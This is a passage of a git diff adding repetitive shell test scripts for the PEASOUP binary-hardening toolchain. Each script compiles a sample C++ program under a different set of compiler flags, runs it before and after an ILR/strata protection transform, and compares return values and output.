+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d5df760c0aba433f5899839c599ca755e7bc18da
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a1da5931ec727de899d3b3013c31b6167097c705
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8eca410a3cd64af8f6859f1b19ce233e42106ab6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3ac48c2127bb5fde9cdc7afdc62f7577821aff6c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4eb8e9b3c7ecaab1a99f6723332fdd48cb95b080
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a6db79c3ff80009eff449b1c3782923b5e7d5e49
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
